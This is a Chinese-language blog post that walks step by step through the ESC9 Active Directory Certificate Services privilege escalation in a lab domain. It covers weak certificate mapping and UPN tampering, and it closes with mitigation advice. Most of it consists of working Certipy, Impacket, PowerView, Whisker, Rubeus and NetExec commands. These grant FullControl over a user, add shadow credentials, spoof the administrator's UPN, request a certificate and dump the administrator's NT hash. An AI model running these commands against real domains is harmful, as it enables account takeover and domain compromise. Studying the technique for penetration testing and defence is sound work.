利用ESC9漏洞通过弱证书映射实现权限提升

本文详细介绍了如何利用ADCS中的ESC9漏洞,通过弱证书映射和UPN篡改实现域权限提升。内容包括漏洞原理、攻击条件、Linux和Windows环境下的具体攻击步骤,以及有效的缓解措施。

ADCS攻击系列:通过弱证书映射滥用ESC9实现权限提升

Active Directory证书服务(ADCS)负责在AD环境中颁发和管理数字证书。这些证书用于加密和验证用户身份等用途。

但与AD中的大多数组件一样,ADCS也有自己的一系列漏洞,可能导致域权限提升和其他严重安全风险。这些错误配置使用"ESC"前缀加数字(如ESC1、ESC2等)进行跟踪引用。

在本系列中,我将逐个分析这些错误配置,并以实用且易于理解的方式进行分解。今天,我们将重点讨论ESC9,这是一个与AD中证书映射相关的错误配置。

理解证书映射

证书映射是AD确定证书属于哪个用户的方式,通常通过检查证书中的UPN、SAN或objectSid等字段。如果我们能欺骗AD认为证书属于其他用户(如域管理员),我们就可以以该用户身份登录。

2023年,微软进行了一些更改以加强证书映射检查:

  1. 增加了额外验证:证书应包含objectSid,这对每个AD用户都是唯一的。这使得域控制器能够双重检查证书的真正所有者。

  2. 在域控制器上添加了两个新的注册表键:

    • StrongCertificateBindingEnforcement:在身份验证期间验证证书所有权
    • CertificateMappingMethods:控制TLS/SSL(Schannel)身份验证的证书映射处理方式

StrongCertificateBindingEnforcement键控制证书验证的严格程度,有三种模式:

  • 禁用模式(0):不执行强检查
  • 兼容模式(1):DC首先在证书中查找objectSid。如果缺少objectSid,且用户账户在证书颁发前已存在,DC仍可能允许登录
  • 完全强制模式(2):仅当证书包含有效的objectSid时,DC才允许登录。如果缺少objectSid,登录将被拒绝

除非存在错误配置的模板,否则此强制措施是有效的。这就是ESC9的用武之地。

ESC9概述

ESC9涉及通过结合三个条件来滥用证书映射:

  1. 错误配置的证书模板不包含objectSid,这意味着它跳过了有助于将证书绑定到正确用户的安全扩展
  2. 域控制器的StrongCertificateBindingEnforcement注册表设置为0或1,允许弱证书映射
  3. 对用户账户的控制权,如GenericWrite、WriteOwner或WriteDacl权限

当满足这些条件时,我们可以更改用户的用户主体名称(UPN)以匹配我们想要冒充的身份。然后,当我们为该用户请求证书时,在身份验证期间它将被映射到被冒充的身份。

ESC9滥用要求

要实施ESC9攻击,我们需要找到满足以下关键条件的证书模板:

  1. 注册标志:此属性控制CA如何颁发证书。我们要查找的标志是:

    • msPKI-Enrollment-Flag: CT_FLAG_NO_SECURITY_EXTENSION 此值告诉CA不要在证书中包含objectSid,这会削弱证书映射强制执行。
  2. 扩展密钥用法(EKU):EKU定义证书允许执行的操作,如登录系统或作为用户进行身份验证。对于ESC9,我们需要将EKU设置为客户端身份验证。

    • 扩展密钥用法(EKU):客户端身份验证
  3. 不需要管理员批准:模板不应要求任何管理员手动批准。

    • 需要管理员批准 = False
  4. 不需要授权签名:模板不应要求其他用户的额外批准签名。

    • 需要授权签名 = 0
  5. 低权限注册权限:模板应允许低权限用户或计算机注册。

    • 注册权限:域用户、Everyone、认证用户或域计算机
  6. 对目标用户的写入权限:我们需要对我们想要冒充的目标用户至少具有WriteOwner或WriteDACL权限。

所需工具

Linux:Certipy、Impacket、NetExec Windows:Certify、Rubeus、NetExec

通过用户主体滥用ESC9

A. Linux方法

1. 识别易受攻击的模板

我们首先查找易受ESC9攻击的证书模板。为此,我们可以使用Certipy并提供域用户凭据以及域控制器IP。

1
certipy-ad find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -vulnerable -stdout

查找注册标志设置为"NoSecurityExtension"、EKU包含客户端身份验证且注册权限授予低权限组(如域用户)的模板。

2. 识别我们可以控制的用户

识别易受攻击的模板后,下一步是找到我们具有写入权限(如GenericWrite、WriteDACL或GenericAll)的目标用户账户。

我们将使用BloodHound查找我们具有这些权限的用户。

3. 验证我们对用户的权限

我们可以使用Impacket模块dacledit来验证我们对目标用户james的权限。

1
impacket-dacledit -action read -dc-ip 10.129.228.236 lab.local/blwasp:'Password123!' -principal blwasp -target james

如果我们只对目标用户具有WriteOwner或WriteDACL权限,我们需要先修改DACL以授予自己完全控制权限。

1
impacket-dacledit -action write -rights 'FullControl' -principal blwasp -target james -dc-ip 10.129.228.236 lab.local/blwasp:'Password123!'

4. 检索目标用户凭据

对目标用户james具有完全控制权后,我们有几个选项。我们可以重置他们的密码,或使用Shadow Credentials添加额外凭据。

我们将使用Shadow Credentials方法:

1
certipy-ad shadow auto -u 'blwasp@lab.local' -p 'Password123!' -account james -dc-ip 10.129.228.236

5. 修改UPN

下一步是将目标用户的UPN修改为我们要冒充的身份,在我们的案例中是administrator(DA)。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn administrator@lab.local -dc-ip 10.129.228.236

6. 作为被冒充用户请求证书

更新目标用户james的UPN并添加shadow credentials后,我们现在可以使用易受攻击的模板以james身份请求证书。

1
certipy-ad req -u 'james@lab.local' -hashes 7facdc498ed1680c4fd1448319a8c04f -ca lab-LAB-DC-CA -template ESC9 -dc-ip 10.129.228.236 -debug

7. 恢复更改

获取证书后,我们需要将james的UPN恢复为其原始值。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn james@lab.local -dc-ip 10.129.228.236

8. 转储被冒充账户的NT哈希

使用auth命令以administrator身份进行身份验证并获取NT哈希:

1
certipy-ad auth -pfx administrator.pfx -domain lab.local -dc-ip 10.129.228.236

9. 使用NetExec验证哈希

接下来,使用nxc通过以下命令验证NT哈希:

1
nxc ldap 10.129.228.236 -u administrator -H 2b576acbe6bcfda7294d6bd18041b8fe -d lab.local

B. Windows方法

1. 识别易受攻击的模板

我们首先识别可被滥用于ESC9的易受攻击证书模板列表。运行以下Certify命令:

1
.\Certify.exe find

对于ESC9,我们主要查找msPKI-Enrollment-Flag包含NO_SECURITY_EXTENSION、EKU包含客户端身份验证且注册权限授予域用户等组的模板。

2. 识别我们可以控制的用户

就像在Linux部分一样,我们使用BloodHound识别我们可以控制的用户账户。

3. 验证我们对用户的权限

我们可以使用PowerShell ADSI验证我们对用户james的权限。

1
2
3
4
5
6
#指定目标用户
$user = [ADSI]"LDAP://CN=JAMES,CN=USERS,DC=LAB,DC=LOCAL"
#获取DACL信息
$sd = $user.psbase.ObjectSecurity
#显示ACL
$sd.Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType -AutoSize

如果我们只对目标用户具有WriteOwner或WriteDACL权限,我们需要先修改DACL以授予自己完全控制权限。

1
2
3
4
5
6
#取得目标对象的所有权
Set-DomainObjectOwner -Identity "james" -OwnerIdentity "blwasp" -Verbose
#授予完全控制权限
Add-DomainObjectAcl -TargetIdentity "james" -PrincipalIdentity "blwasp" -Rights All -Verbose
#验证更改
Get-DomainObjectAcl -Identity "james" -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -eq (Get-DomainUser -Identity "blwasp").ObjectSID }

4. 检索目标用户凭据

对目标用户james具有完全控制权后,我们可以使用Whisker /add命令添加新的shadow credentials。

1
Whisker.exe add /target:james /dc:10.129.228.236

然后,我们使用Whisker生成的Rubeus命令请求TGT并提取james的NT哈希:

1
.\Rubeus.exe asktgt /user:james /certificate:<Whisker-generated-Certificate> /password:"wXvMArpdoyFaGruh" /domain:lab.local /dc:10.129.228.236 /getcredentials /show

5. 修改UPN

下一步是将目标用户的UPN更改为我们要冒充的身份——administrator@lab.local。我们可以使用PowerView:

1
Set-DomainObject james -Set @{'userPrincipalName'='administrator@lab.local'} -Verbose

6-8. 请求证书、恢复更改、转储NT哈希

此时,您可以按照Linux部分中使用Certipy的相同步骤:

  • 步骤6:以james身份请求证书(现在映射到administrator@lab.local)
  • 步骤7:将UPN恢复以避免映射问题
  • 步骤8:使用生成的.pfx进行身份验证并转储administrator的NT哈希

9. 使用NetExec验证哈希

要验证被冒充用户的NT哈希,在Windows上运行NetExec(nxc):

1
.\nxc.exe smb 10.129.228.236 -u administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

缓解措施

要缓解ESC9的滥用,我们可以:

  1. 在所有域控制器上将StrongCertificateBindingEnforcement设置为2,以强制执行objectSid验证。
  2. 将模板注册权限限制为仅限受信任的组,避免将模板分配给域用户或Everyone等低权限组。
  3. 审查并收紧用户和计算机对象上的ACL,防止低权限用户获得写入访问权限。

总结

这是通过弱证书映射滥用ESC9冒充特权用户的完整演练。这里的关键不仅仅是找到易受攻击的模板,而是知道如何将其与用户控制结合起来,并理解证书映射在底层实际如何工作。

在实际环境中,这种攻击往往会被忽视,特别是当涉及到过于宽松的ACL时。这是ESC9能够成功的关键条件。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计